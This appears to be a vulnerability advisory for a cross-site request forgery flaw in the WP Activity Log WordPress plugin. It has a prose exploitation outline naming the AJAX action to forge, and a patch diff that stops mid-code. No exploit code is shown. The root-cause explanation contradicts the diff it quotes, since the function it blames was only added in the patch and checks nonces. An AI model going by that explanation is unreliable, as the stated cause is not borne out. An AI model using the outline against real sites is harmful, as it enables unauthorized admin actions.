Published : August 10, 2026

CVE-2026-65512: WP Activity Log <= 5.6.4 Cross-Site Request Forgery PoC, Patch Analysis & Rule

CVE ID CVE-2026-65512
Plugin wp-security-audit-log
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 5.6.4
Patched Version 5.6.5
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65512: The WP Activity Log plugin for WordPress, versions up to and including 5.6.4, is vulnerable to Cross-Site Request Forgery. The vulnerability arises from missing or incorrect nonce validation on a specific function within the plugin’s notice dismissal mechanism. This flaw permits an unauthenticated attacker to forge requests that, when a site administrator clicks a malicious link, can trigger unauthorized actions, such as dismissing notices. The vulnerability has a CVSS score of 4.3, indicating a moderate severity.

Root Cause: The root cause is a missing nonce check in the `dismiss_feature_highlight_notice()` function located in `wp-security-audit-log/classes/Helpers/class-notices.php`. The function is an AJAX handler registered via `add_action( ‘wp_ajax_wsal_dismiss_feature_highlight_notice’, array( __CLASS__, ‘dismiss_feature_highlight_notice’ ) )`. While the new function added in version 5.6.5 does contain proper checks, the vulnerability is present in versions up to 5.6.4. The diff shows the patched version correctly performs a nonce verification using `wp_verify_nonce()` before any state changes, contrasting with the vulnerable patterns that exist in the older code. The patch also removes the vulnerable `plugin-update-card.php` file and replaces it with a new notice that uses proper nonce verification, confirming the issue was prevalent in the notice system. The specific issue lies in how the plugin handled user actions without validating their origin.

Exploitation: To exploit this vulnerability, an attacker crafts a malicious webpage with a hidden form and auto-submitting JavaScript or an image tag linking to the vulnerable AJAX endpoint. The endpoint in the patched version is `/wp-admin/admin-ajax.php`, with the action parameter set to `wsal_dismiss_feature_highlight_notice`. In the vulnerable versions, an attacker would target the `wsal_dismiss_upgrade_notice` action. The attacker tricks a logged-in administrator into visiting the malicious page. When the admin visits, the browser sends a POST request, including the administrator’s session cookies, to the plugin’s AJAX endpoint. Since the vulnerable function lacks nonce validation, it executes the dismissing action without verifying the request’s origin. This simple CSRF attack can also be performed by a direct GET request if the handler does not restrict the request method.

Patch Analysis: The patch introduces a new function `dismiss_feature_highlight_notice()` in `class-notices.php`. This function includes a check using `Settings_Helper::current_user_can( ‘edit’ )` to ensure the user has the necessary permissions. More critically, it includes a nonce verification step using `wp_verify_nonce()` against the value passed in the `nonce` POST parameter. The patch’s integration also adds the nonce to the URL of the feature highlight notice’s dismissal button, making it impossible for an attacker to forge a valid request without knowing the admin’s session-specific nonce. The previous update notice, `plugin-update-card.php`, was also removed and replaced with a new implementation that correctly generates and validates nonces for all notice dismissal actions. This effectively blocks the CSRF attack vector.

Impact: Successful exploitation of this vulnerability allows an unauthenticated attacker to perform unauthorized actions within the context of a logged-in administrator’s session. The primary impact is the ability to dismiss plugin notices. In the context of the affected notice system, this could be used to hide critical security warnings or update notifications, potentially leading to the administrator ignoring important information. The impact is relatively low, as the attacker cannot directly alter site content, escalate privileges, or execute code, but it can degrade the integrity of the admin’s user experience and suppress crucial plugin status alerts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/wp-security-audit-log/classes/Controllers/class-alert-manager.php
+++ b/wp-security-audit-log/classes/Controllers/class-alert-manager.php
@@ -776,7 +776,7 @@
 				esc_attr( $class ),
 				'<span style="color:#dc3232; font-weight:bold;">' . esc_html__( 'ERROR:', 'wp-security-audit-log' ) . '</span>',
 				esc_html( $message ),
-				'<a href="https://melapress.com/contact" target="_blank">' . esc_html__( 'Contact us', 'wp-security-audit-log' ) . '</a>'
+				'<a href="https://melapress.com/contact/?utm_source=plugin&utm_medium=wsal&utm_campaign=error-notice-contact-us" target="_blank">' . esc_html__( 'Contact us', 'wp-security-audit-log' ) . '</a>'
 			);
 		}

--- a/wp-security-audit-log/classes/Controllers/class-alert.php
+++ b/wp-security-audit-log/classes/Controllers/class-alert.php
@@ -592,7 +592,7 @@
 		 */
 		private static function get_post_revision_link( $post_id, $url ): string {
 			if ( defined( 'WP_POST_REVISIONS' ) && ! WP_POST_REVISIONS ) {
-				return 'https://melapress.com/wordpress-revisions-posts-pages/#utm_source=plugin&utm_medium=link&utm_campaign=wsal';
+				return 'https://melapress.com/wordpress-revisions-posts-pages/?utm_source=plugin&utm_medium=wsal&utm_campaign=event-revisions-info';
 			} elseif ( '' !== $url ) {
 				return (string) WP_Content_Sensor::get_post_revision( $post_id );
 			} else {
--- a/wp-security-audit-log/classes/Controllers/class-connection.php
+++ b/wp-security-audit-log/classes/Controllers/class-connection.php
@@ -231,14 +231,16 @@
 		/**
 		 * Test the connection.
 		 *
-		 * @param array $connection_config - Connection configuration to test.
+		 * @param array    $connection_config - Connection configuration to test.
+		 * @param int|null $connect_timeout   - Optional. Connection timeout in seconds.
 		 *
-		 * @return bool
+		 * @return bool - Whether the connection succeeded.
 		 * @throws Exception - Connection failed.
 		 *
 		 * @since 4.6.0
+		 * @since 5.6.5 Added the connection timeout.
 		 */
-		public static function test_connection( ?array $connection_config = null ) {
+		public static function test_connection( ?array $connection_config = null, $connect_timeout = null ) {
 			error_reporting( E_ALL ^ ( E_NOTICE | E_WARNING | E_DEPRECATED ) );
 			if ( ! $connection_config ) {
 				$connection_config = self::get_config();
@@ -252,7 +254,20 @@

 			$db_port_value = $connection_config['port'] ?? '';

-			$new_wpdb = new MySQL_Connection( $connection_config['user'], $password, $connection_config['db_name'], $connection_config['hostname'], $connection_config['is_ssl'], $connection_config['is_cc'], $connection_config['ssl_ca'], $connection_config['ssl_cert'], $connection_config['ssl_key'], $db_port_value ); // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysql_connection
+			if ( null === $connect_timeout ) {
+				$connect_timeout = (int) ini_get( 'default_socket_timeout' );
+			}
+
+			/**
+			 * Filters the timeout used when validating a MySQL connection.
+			 *
+			 * @param int $connect_timeout - Connection timeout in seconds.
+			 *
+			 * @since 5.6.5
+			 */
+			$connect_timeout = (int) apply_filters( 'wsal_connection_test_timeout', $connect_timeout );
+
+			$new_wpdb = new MySQL_Connection( $connection_config['user'], $password, $connection_config['db_name'], $connection_config['hostname'], $connection_config['is_ssl'], $connection_config['is_cc'], $connection_config['ssl_ca'], $connection_config['ssl_cert'], $connection_config['ssl_key'], $db_port_value, $connect_timeout ); // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysql_connection -- A separate wpdb instance is required to validate the external connection without changing the global connection.

 			if ( isset( $new_wpdb->error ) && isset( $new_wpdb->dbh ) ) {
 				throw new Exception( $new_wpdb->dbh->error, $new_wpdb->dbh->errno ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
@@ -275,6 +290,8 @@
 							$error_code  // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
 						);
 					}
+
+					throw new Exception( __( 'Error establishing a database connection.', 'wp-security-audit-log' ), $error_code ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception messages are escaped by the caller when rendered.
 				}
 			} elseif ( isset( $new_wpdb->db_select_error ) ) {
 				throw new Exception( 'Error: Database ' . $connection_config['db_name'] . ' is unknown.', 1046 ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
--- a/wp-security-audit-log/classes/Controllers/class-constants.php
+++ b/wp-security-audit-log/classes/Controllers/class-constants.php
@@ -464,7 +464,7 @@
 				self::$wsal_built_links['cat_link']       = array( esc_html__( 'View category', 'wp-security-audit-log' ) => '%cat_link%' );
 				self::$wsal_built_links['ProductCatLink'] = array( esc_html__( 'View category', 'wp-security-audit-log' ) => '%ProductCatLink%' );

-				self::$wsal_built_links['ContactSupport'] = array( esc_html__( 'Contact Support', 'wp-security-audit-log' ) => 'https://melapress.com/contact/' );
+				self::$wsal_built_links['ContactSupport'] = array( esc_html__( 'Contact Support', 'wp-security-audit-log' ) => 'https://melapress.com/contact/?utm_source=plugin&utm_medium=wsal&utm_campaign=event-contact-support' );

 				self::$wsal_built_links['CommentLink'] = array(
 					esc_html__( 'View Comment', 'wp-security-audit-log' ) => array(
--- a/wp-security-audit-log/classes/Entities/DBConnection/class-mysql-connection.php
+++ b/wp-security-audit-log/classes/Entities/DBConnection/class-mysql-connection.php
@@ -37,19 +37,20 @@
 		 * Overwrite wpdb class for set $allow_bail to false
 		 * and hide the print of the error
 		 *
-		 * @global string $wp_version
-		 * @param string $dbuser          - MySQL database user.
-		 * @param string $dbpassword      - MySQL database password.
-		 * @param string $dbname          - MySQL database name.
-		 * @param string $dbhost          - MySQL database host.
-		 * @param bool   $is_ssl          - Set if connection is SSL encrypted.
-		 * @param bool   $is_cc           - Set if connection has client certificates.
-		 * @param string $ssl_ca          - Certificate Authority.
-		 * @param string $ssl_cert        - Client Certificate.
-		 * @param string $ssl_key         - Client Key.
-		 * @param string $dbport          - MySQL database host.
+		 * @global string  $wp_version
+		 * @param string   $dbuser          - MySQL database user.
+		 * @param string   $dbpassword      - MySQL database password.
+		 * @param string   $dbname          - MySQL database name.
+		 * @param string   $dbhost          - MySQL database host.
+		 * @param bool     $is_ssl          - Set if connection is SSL encrypted.
+		 * @param bool     $is_cc           - Set if connection has client certificates.
+		 * @param string   $ssl_ca          - Certificate Authority.
+		 * @param string   $ssl_cert        - Client Certificate.
+		 * @param string   $ssl_key         - Client Key.
+		 * @param string   $dbport          - MySQL database host.
+		 * @param int|null $connect_timeout - Connection timeout in seconds.
 		 */
-		public function __construct( $dbuser, $dbpassword, $dbname, $dbhost, $is_ssl, $is_cc, $ssl_ca, $ssl_cert, $ssl_key, $dbport = '' ) {
+		public function __construct( $dbuser, $dbpassword, $dbname, $dbhost, $is_ssl, $is_cc, $ssl_ca, $ssl_cert, $ssl_key, $dbport = '', $connect_timeout = null ) {

 			if ( WP_DEBUG && WP_DEBUG_DISPLAY ) {
 				$this->show_errors();
@@ -92,7 +93,7 @@
 				}
 			}

-			$this->db_connect( false );
+			$this->db_connect( false, $connect_timeout );
 		}

 		/**
@@ -159,13 +160,15 @@
 		 * If $allow_bail is false, the lack of database connection will need
 		 * to be handled manually.
 		 *
-		 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
+		 * @param bool     $allow_bail      - Optional. Allows the function to bail. Default true.
+		 * @param int|null $connect_timeout - Optional. Connection timeout in seconds.
 		 *
 		 * @return bool True with a successful connection, false on failure.
 		 * @since 3.0.0
 		 * @since 3.9.0 $allow_bail parameter added.
+		 * @since 5.6.5 $connect_timeout parameter added.
 		 */
-		public function db_connect( $allow_bail = true ) {
+		public function db_connect( $allow_bail = true, $connect_timeout = null ) {
 			$this->is_mysql = true;
 			$client_flags   = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;
 			if ( $this->use_mysqli ) {
@@ -178,6 +181,10 @@

 				$this->dbh = mysqli_init(); // phpcs:ignore

+				if ( null !== $connect_timeout && 0 < $connect_timeout ) {
+					mysqli_options( $this->dbh, MYSQLI_OPT_CONNECT_TIMEOUT, $connect_timeout ); // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_options -- Required before connecting because wpdb has no API for setting a connection timeout.
+				}
+
 				// mysqli_real_connect doesn't support the host param including a port or socket
 				// like mysql_connect does. This duplicates how mysql_connect detects a port and/or socket file.
 				$port_and_socket = $this->get_port_and_socket();
--- a/wp-security-audit-log/classes/Entities/class-occurrences-entity.php
+++ b/wp-security-audit-log/classes/Entities/class-occurrences-entity.php
@@ -378,7 +378,7 @@
 				$cached_message = isset( $cached_message ) ? $cached_message : sprintf(
 				/* Translators: 1: html that opens a link, 2: html that closes a link. */
 					__( 'This type of activity / change is no longer monitored. You can create your own custom event IDs to keep a log of such change. Read more about custom events %1$shere%2$s.', 'wp-security-audit-log' ),
-					'<a href="https://melapress.com/support/kb/create-custom-events-wordpress-activity-log/" rel="noopener noreferrer" target="_blank">',
+					'<a href="https://melapress.com/support/kb/create-custom-events-wordpress-activity-log/?utm_source=plugin&utm_medium=wsal&utm_campaign=event-custom-events-kb" rel="noopener noreferrer" target="_blank">',
 					'</a>'
 				);
 			}
--- a/wp-security-audit-log/classes/Free/assets/nav-bar.php
+++ b/wp-security-audit-log/classes/Free/assets/nav-bar.php
@@ -248,7 +248,7 @@
 ?>

 <nav id="wsal-navbar">
-	<a href="https://www.melapress.com/wordpress-activity-log/" target="_blank" class="wsal-logo-link">
+	<a href="https://melapress.com/wordpress-activity-log/?utm_source=plugin&utm_medium=wsal&utm_campaign=free-edition-header-logo" target="_blank" class="wsal-logo-link">
 		<img src="<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/images/wp-activity-log-symbol.svg" alt="WP Activity Log" class="wsal-logo">
 	</a>
 	<div id="wsal-nav" class="nav">
--- a/wp-security-audit-log/classes/Free/assets/plugin-update-card.php
+++ b/wp-security-audit-log/classes/Free/assets/plugin-update-card.php
@@ -1,145 +0,0 @@
-<?php
-/**
- * Free version update component
- *
- * @since 5.1.1
- * @package wsal
- */
-
-// Exit if accessed directly.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-?>
-
-<style>
-
-/* Styles - START */
-
-/* Melapress brand font 'Quicksand' — There maybe be a preferable way to add this but this seemed the most discrete. */
-@font-face {
-	font-family: 'Quicksand';
-	src: url('<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/fonts/Quicksand-VariableFont_wght.woff2') format('woff2');
-	font-weight: 100 900; /* This indicates that the variable font supports weights from 100 to 900 */
-	font-style: normal;
-}
-
-.wsal-plugin-update {
-
-	background-color: #384A2F;
-	border-radius: 7px;
-	color: #fff;
-	display: flex;
-	justify-content: space-between;
-	align-items: center;
-	padding: 1.66rem;
-	position: relative;
-	overflow: hidden;
-	transition: all 0.2s ease-in-out;
-
-
-	margin-top: 4rem;
-	margin-bottom: 2rem;
-	margin-right: .6rem;
-
-}
-
-.wsal-plugin-update-content {
-	max-width: 60%;
-}
-
-.wsal-plugin-update-title {
-	color: #fff;
-	margin: 0;
-	font-size: 20px;
-	font-weight: bold;
-	font-family: Quicksand, sans-serif;
-	line-height: 1.44rem;
-}
-
-.wsal-plugin-update-text {
-	margin: .25rem 0 0;
-	font-size: 0.875rem;
-	line-height: 1.3125rem;
-}
-
-.wpal-cta-link {
-	border-radius: 0.25rem;
-	background: #FF8977;
-	color: #0000EE;
-	font-weight: bold;
-	text-decoration: none;
-	font-size: 0.875rem;
-	padding: 0.675rem 1.3rem .7rem 1.3rem;
-	transition: all 0.2s ease-in-out;
-	display: inline-block;
-	z-index: 0;
-	margin-top: 102px;
-}
-
-.wsal-plugin-update-close {
-	background-image: url('<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/images/close-icon-rev.svg'); /* Path to your close icon */
-	background-size: cover;
-	width: 18px;
-	height: 18px;
-	border: none;
-	cursor: pointer;
-	position: absolute;
-	top: 20px;
-	right: 20px;
-	background-color: transparent;
-	display: inline-block;
-}
-
-.wsal-plugin-update::before {
-	content: '';
-	background-image: url('<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/images/updated-bg.png'); /* Background image only displayed on desktop */
-	background-size: 100%;
-	background-repeat: no-repeat;
-	background-position: 100% 51%;
-	position: absolute;
-	top: 0;
-	right: 0;
-	bottom: 0;
-	left: 0;
-	z-index: 0;
-}
-
-.wsal-plugin-update-content, .wsal-plugin-update-close {
-	z-index: 1;
-}
-
-@media (min-width: 600px)  {
-	.wsal-plugin-update {
-		margin-right: 1.2rem;
-	}
-	.wsal-plugin-update-content {
-		max-width: 50%;
-	}
-}
-
-@media (max-width: 1200px) {
-	.wsal-plugin-update::before {
-		display: none;
-	}
-
-	.wsal-plugin-update-content {
-		max-width: 100%;
-	}
-}
-
-/* Styles - END */
-</style>
-<!-- Copy START -->
-<div class="wsal-plugin-update wsal-notice"<?php echo WSALHelpersNotices::should_show_black_friday_notice() ? ' style="display: none;"' : ''; ?> data-dismiss-action="wsal_dismiss_upgrade_notice" data-nonce="<?php echo esc_attr( wp_create_nonce( 'dismiss_upgrade_notice' ) ); ?>">
-	<div class="wsal-plugin-update-content">
-		<h2 class="wsal-plugin-update-title"><?php echo esc_html__( 'WP Activity Log has been updated to version ', 'wp-security-audit-log' ) . esc_attr( WSAL_VERSION ); ?></h2>
-		<p class="wsal-plugin-update-text">
-			<?php echo esc_html__( 'You are now running the latest version of WP Activity Log. To see what's been included in this update, refer to the plugin's release notes and change log where we list all new features, updates, and bug fixes.', 'wp-security-audit-log' ); ?>
-		</p>
-	</div>
-	<a class="wpal-cta-link" href="https://melapress.com/support/kb/wp-activity-log-plugin-changelog/?utm_source=wp+repo&utm_medium=repo+link&utm_campaign=wordpress_org&utm_content=wsal" target="_blank"><?php echo esc_html__( 'Read the release notes', 'wp-security-audit-log' ); ?></a>
-	<button aria-label="Close button" class="wsal-plugin-update-close wsal-plugin-notice-close"></button>
-</div>
-<!-- Copy END -->
--- a/wp-security-audit-log/classes/Free/assets/wsal-ebook-card.php
+++ b/wp-security-audit-log/classes/Free/assets/wsal-ebook-card.php
@@ -162,8 +162,8 @@
 		<p class="wsal-ebook-text">
 		<?php echo esc_html__( 'Learn how to leverage ', 'wp-security-audit-log' ); ?><strong>WP Activity Log</strong><?php echo esc_html__( ' and master WordPress oversight to supercharge the administration and security of your websites.', 'wp-security-audit-log' ); ?>
 		</p>
-		<a href="https://melapress.com/ebook-wordpress-oversight/?user-referral=log-ebook-plugin" target="_blank" class="wsal-ebook-cta-link"><?php echo esc_html__( 'Download your free copy today', 'wp-security-audit-log' ); ?></a>
-		<a href="https://www.melapress.com/ebook-wordpress-oversight/?user-referral=log-ebook-plugin" target="_blank" class="wsal-ebook-logo-link"><img src="<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/images/melapress.svg" width="160" height="31" alt="Melapress"></a>
+		<a href="https://melapress.com/ebook-wordpress-oversight/?user-referral=log-ebook-plugin&utm_source=plugin&utm_medium=wsal&utm_campaign=ebook-card-cta" target="_blank" class="wsal-ebook-cta-link"><?php echo esc_html__( 'Download your free copy today', 'wp-security-audit-log' ); ?></a>
+		<a href="https://melapress.com/ebook-wordpress-oversight/?user-referral=log-ebook-plugin&utm_source=plugin&utm_medium=wsal&utm_campaign=ebook-card-logo" target="_blank" class="wsal-ebook-logo-link"><img src="<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/images/melapress.svg" width="160" height="31" alt="Melapress"></a>
 	</div>
 	<button aria-label="Close button" class="wsal-ebook-close wsal-plugin-notice-close"></button>
 </div>
--- a/wp-security-audit-log/classes/Helpers/class-notices.php
+++ b/wp-security-audit-log/classes/Helpers/class-notices.php
@@ -88,6 +88,13 @@
 					self::display_notice_upgrade();
 				}

+				// @free:start
+				$notice_feature_highlight = Settings_Helper::get_boolean_option_value( Abstract_Migration::FEATURE_HIGHLIGHT_NOTICE, false );
+				if ( $notice_feature_highlight ) {
+					self::display_feature_highlight_notice();
+				}
+				// @free:end
+
 				// if ( 'free' === WpSecurityAuditLog::get_plugin_version() ) {
 				// $ebook = Settings_Helper::get_boolean_option_value( self::EBOOK_NOTICE, false );
 				// if ( ! $ebook ) {
@@ -132,6 +139,15 @@
 				++self::$number_of_notices;
 			}

+			// @free:start
+			$notice_feature_highlight = Settings_Helper::get_boolean_option_value( Abstract_Migration::FEATURE_HIGHLIGHT_NOTICE, false );
+			if ( $notice_feature_highlight ) {
+				add_action( 'wp_ajax_wsal_dismiss_feature_highlight_notice', array( __CLASS__, 'dismiss_feature_highlight_notice' ) );
+
+				++self::$number_of_notices;
+			}
+			// @free:end
+
 			// ! WpSecurityAuditLog::get_plugin_version() does not work in this hook action, do not use it.
 			// if ( 'free' === WpSecurityAuditLog::get_plugin_version() ) {
 			// $ebook = Settings_Helper::get_boolean_option_value( self::EBOOK_NOTICE, false );
@@ -175,11 +191,183 @@
 		 * Display upgrade notice.
 		 *
 		 * @since 5.1.0
+		 * @since 5.6.5 Replaced the large update banner with a minimal notice.
 		 */
 		public static function display_notice_upgrade() {
-			include_once WSAL_BASE_DIR . DIRECTORY_SEPARATOR . 'classes' . DIRECTORY_SEPARATOR . 'Free' . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR . 'plugin-update-card.php';
+			$message = sprintf(
+				/* translators: 1: Plugin name. 2: Plugin version number. */
+				__( '%1$s has been updated to version %2$s', 'wp-security-audit-log' ),
+				'<strong>WP Activity Log</strong>',
+				'<strong>' . WSAL_VERSION . '</strong>'
+			);
+
+			?>
+			<style>
+				.wsal-update-notice {
+					position: relative;
+					background-color: #fff;
+					border: 1px solid #c3c4c7;
+					border-left: 4px solid #009344;
+					margin: 64px 20px 16px 0;
+					padding: 0 40px 0 12px;
+					font-size: 0.8125rem;
+				}
+
+				.wsal-update-notice p {
+					margin: 0.5em 0;
+				}
+
+				.wsal-update-notice a {
+					color: #009344;
+				}
+
+				.wsal-update-notice strong {
+					color: #009344;
+				}
+
+				.wsal-update-notice-close {
+					position: absolute;
+					top: 0;
+					right: 1px;
+					padding: 9px;
+					border: none;
+					margin: 0;
+					background: none;
+					color: #787c82;
+					cursor: pointer;
+				}
+
+				.wsal-update-notice-close::before {
+					content: "f153";
+					font-family: dashicons;
+					font-style: normal;
+					font-weight: normal;
+					font-size: 1rem;
+					line-height: 1.25;
+					-webkit-font-smoothing: antialiased;
+				}
+
+				.wsal-update-notice-close:hover,
+				.wsal-update-notice-close:focus {
+					color: #d63638;
+				}
+			</style>
+			<div class="wsal-update-notice wsal-notice"<?php echo self::should_show_black_friday_notice() ? ' style="display: none;"' : ''; ?> data-dismiss-action="wsal_dismiss_upgrade_notice" data-nonce="<?php echo esc_attr( wp_create_nonce( 'dismiss_upgrade_notice' ) ); ?>">
+				<p>
+					<?php echo wp_kses( $message, Plugin_Settings_Helper::get_allowed_html_tags() ); ?>
+					– <a href="https://melapress.com/support/kb/wp-activity-log-plugin-changelog/?utm_source=plugin&utm_medium=wsal&utm_campaign=update-notice-changelog" target="_blank" rel="noopener"><?php esc_html_e( 'view changelog', 'wp-security-audit-log' ); ?></a>
+				</p>
+				<button type="button" class="wsal-update-notice-close wsal-plugin-notice-close" aria-label="<?php esc_attr_e( 'Dismiss this notice', 'wp-security-audit-log' ); ?>"></button>
+			</div>
+			<?php
 		}

+		// @free:start
+		/**
+		 * Display the feature highlight notice shown after a plugin upgrade.
+		 *
+		 * @return void
+		 *
+		 * @since 5.6.5
+		 */
+		public static function display_feature_highlight_notice() {
+			?>
+			<style>
+				.wsal-feature-highlight-notice {
+					position: relative;
+					display: flex;
+					gap: 16px;
+					background: #fafbf3;
+					border-radius: 5px;
+					box-shadow: 0 3px 6px rgba(0, 0, 0, 0.06);
+					margin: 64px 20px 16px 0;
+					padding: 16px 48px 16px 16px;
+					color: #3c434a;
+				}
+
+				.wsal-update-notice ~ .wsal-feature-highlight-notice {
+					margin-top: 16px;
+				}
+
+				.wsal-feature-highlight-notice::before {
+					content: '';
+					background: url('<?php echo esc_url( WSAL_BASE_URL ); ?>classes/Free/assets/images/wp-activity-log-icon.svg') no-repeat center / contain;
+					flex-shrink: 0;
+					height: 44px;
+					width: 44px;
+				}
+
+				.wsal-feature-highlight-notice h2 {
+					color: #3c434a;
+					font-size: 1.25rem;
+					font-weight: 600;
+					line-height: 1.3;
+					margin: 0 0 8px;
+					padding: 0;
+				}
+
+				.wsal-feature-highlight-notice p {
+					font-size: 0.875rem;
+					line-height: 1.6;
+					margin: 0 0 16px;
+				}
+
+				.wsal-feature-highlight-notice-upgrade {
+					background: #009344;
+					border-radius: 5px;
+					color: #fff;
+					display: inline-block;
+					font-size: 0.875rem;
+					line-height: 1;
+					padding: 8px 12px;
+					text-decoration: none;
+				}
+
+				.wsal-feature-highlight-notice-upgrade:hover,
+				.wsal-feature-highlight-notice-upgrade:focus {
+					background: #007a39;
+					color: #fff;
+				}
+
+				.wsal-feature-highlight-notice-close {
+					position: absolute;
+					top: 8px;
+					right: 5px;
+					padding: 6px;
+					border: none;
+					margin: 0;
+					background: none;
+					color: #787c82;
+					cursor: pointer;
+				}
+
+				.wsal-feature-highlight-notice-close::before {
+					content: "f153";
+					font-family: dashicons;
+					font-style: normal;
+					font-weight: normal;
+					font-size: 1rem;
+					line-height: 1.25;
+					-webkit-font-smoothing: antialiased;
+				}
+
+				.wsal-feature-highlight-notice-close:hover,
+				.wsal-feature-highlight-notice-close:focus {
+					color: #d63638;
+				}
+			</style>
+			<div class="wsal-feature-highlight-notice wsal-notice" data-dismiss-action="wsal_dismiss_feature_highlight_notice" data-nonce="<?php echo esc_attr( wp_create_nonce( 'dismiss_feature_highlight_notice' ) ); ?>">
+				<div>
+					<h2><?php esc_html_e( 'Know about important changes before they become problems', 'wp-security-audit-log' ); ?></h2>
+					<p><?php esc_html_e( 'Receive alerts for critical activity, monitor active user sessions, and keep a complete audit trail of everything happening on your site.', 'wp-security-audit-log' ); ?></p>
+					<a class="wsal-feature-highlight-notice-upgrade" href="https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=wsal&utm_campaign=update-feature-highlight-banner" target="_blank" rel="noopener"><?php esc_html_e( 'Unlock Premium Features', 'wp-security-audit-log' ); ?></a>
+				</div>
+				<button type="button" class="wsal-feature-highlight-notice-close wsal-plugin-notice-close" aria-label="<?php esc_attr_e( 'Dismiss this notice', 'wp-security-audit-log' ); ?>"></button>
+			</div>
+			<?php
+		}
+		// @free:end
+
 		/**
 		 * Display upgrade notice.
 		 *
@@ -207,6 +395,28 @@
 			wp_send_json_success();
 		}

+		// @free:start
+		/**
+		 * Method: Ajax request handler to dismiss the feature highlight notice.
+		 *
+		 * @return void
+		 *
+		 * @since 5.6.5
+		 */
+		public static function dismiss_feature_highlight_notice() {
+			if ( ! Settings_Helper::current_user_can( 'edit' ) ) {
+				wp_send_json_error();
+			}
+
+			if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'dismiss_feature_highlight_notice' ) ) {
+				wp_send_json_error( esc_html__( 'nonce is not provided or incorrect', 'wp-security-audit-log' ) );
+			}
+
+			Settings_Helper::delete_option_value( Abstract_Migration::FEATURE_HIGHLIGHT_NOTICE );
+			wp_send_json_success();
+		}
+		// @free:end
+
 		/**
 		 * Method: Ajax request handler to dismiss ebook notice.
 		 *
@@ -731,11 +941,11 @@
 			<script>
 				document.addEventListener('DOMContentLoaded', function() {
 					const wsalBfNotice = document.getElementById('wsal-black-friday-notice');
-					const wsalUpgradeNotice = document.querySelector('.wsal-plugin-update');
+					const wsalUpgradeNotice = document.querySelector('.wsal-update-notice');

 					const wsalShowUpgradeNotice = () => {
 						if (wsalUpgradeNotice) {
-							wsalUpgradeNotice.style.display = 'flex';
+							wsalUpgradeNotice.style.display = 'block';
 						}
 					};

--- a/wp-security-audit-log/classes/Helpers/class-user-utils.php
+++ b/wp-security-audit-log/classes/Helpers/class-user-utils.php
@@ -70,7 +70,7 @@
 		/**
 		 * Build the correct label to display for a given user.
 		 *
-		 * @param WP_User $user   WordPress user object.
+		 * @param WP_User $user   WordPress user object.
 		 *
 		 * @return string
 		 *
--- a/wp-security-audit-log/classes/Helpers/class-view-manager.php
+++ b/wp-security-audit-log/classes/Helpers/class-view-manager.php
@@ -272,7 +272,7 @@
 				add_submenu_page(
 					'wsal-auditlog',
 					'Upgrade',
-					'<span class="fs-submenu-item wp-security-audit-log pricing upgrade-mode" style="display: block; margin: 6px 10px 4px 0; padding: 8px 12px; border-radius: 5px; border: 1px solid #009344; background: linear-gradient(180deg, rgba(248, 231, 28, 0.20) 0%, rgba(56, 74, 47, 0.20) 100%), #009344; color: #fff; line-height: 1; text-align: center; font-size: 14px; font-weight: 600;">Upgrade</span>',
+					'<span class="fs-submenu-item wp-security-audit-log pricing upgrade-mode" style="color:#FF8977;">Upgrade to Premium</span>',
 					'read', // No capability requirement.
 					'upgrade',
 					array(),
@@ -300,7 +300,7 @@

 					if ( 1 === count( $new_links ) && ! wsal_freemius()->is__premium_only() ) {
 						// Trial link.
-						$trial_link  = 'https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=link&utm_campaign=wsal';
+						$trial_link  = 'https://melapress.com/wordpress-activity-log/pricing/?utm_source=plugin&utm_medium=wsal&utm_campaign=plugins-page-get-premium';
 						$new_links[] = '<a style="font-weight:bold; color:#049443 !important" href="' . $trial_link . '" target="_blank">' . __( 'Get Premium!', 'wp-security-audit-log' ) . '</a>';
 					}
 				}
--- a/wp-security-audit-log/classes/ListAdminEvents/class-list-events.php
+++ b/wp-security-audit-log/classes/ListAdminEvents/class-list-events.php
@@ -751,11 +751,23 @@

 					return $result;
 				case 'data':
-					$url     = admin_url( 'admin-ajax.php' ) . '?action=AjaxInspector&occurrence=' . $item['id'];
-					$tooltip = esc_attr__( 'View all details of this change', 'wp-security-audit-log' );
-
-					$btns = '<a class="more-info button button-secondary data-event-inspector-link" data-darktooltip="' . $tooltip . '" data-inspector-active-text="' . __( 'Close inspector.', 'wp-security-audit-log' ) . '" title="' . __( 'Event data inspector', 'wp-security-audit-log' ) . '" href="' . $url . '">' . __( 'More details...', 'wp-security-audit-log' ) . '</a>';
-
+					$url = add_query_arg(
+						array(
+							'action'     => 'AjaxInspector',
+							'occurrence' => (int) $item['id'],
+							'nonce'      => wp_create_nonce( 'wsal_auditlog_viewer_nonce' ),
+						),
+						admin_url( 'admin-ajax.php' )
+					);
+
+					$tooltip = esc_attr__( 'View all details of this change', 'wp-security-audit-log' );
+
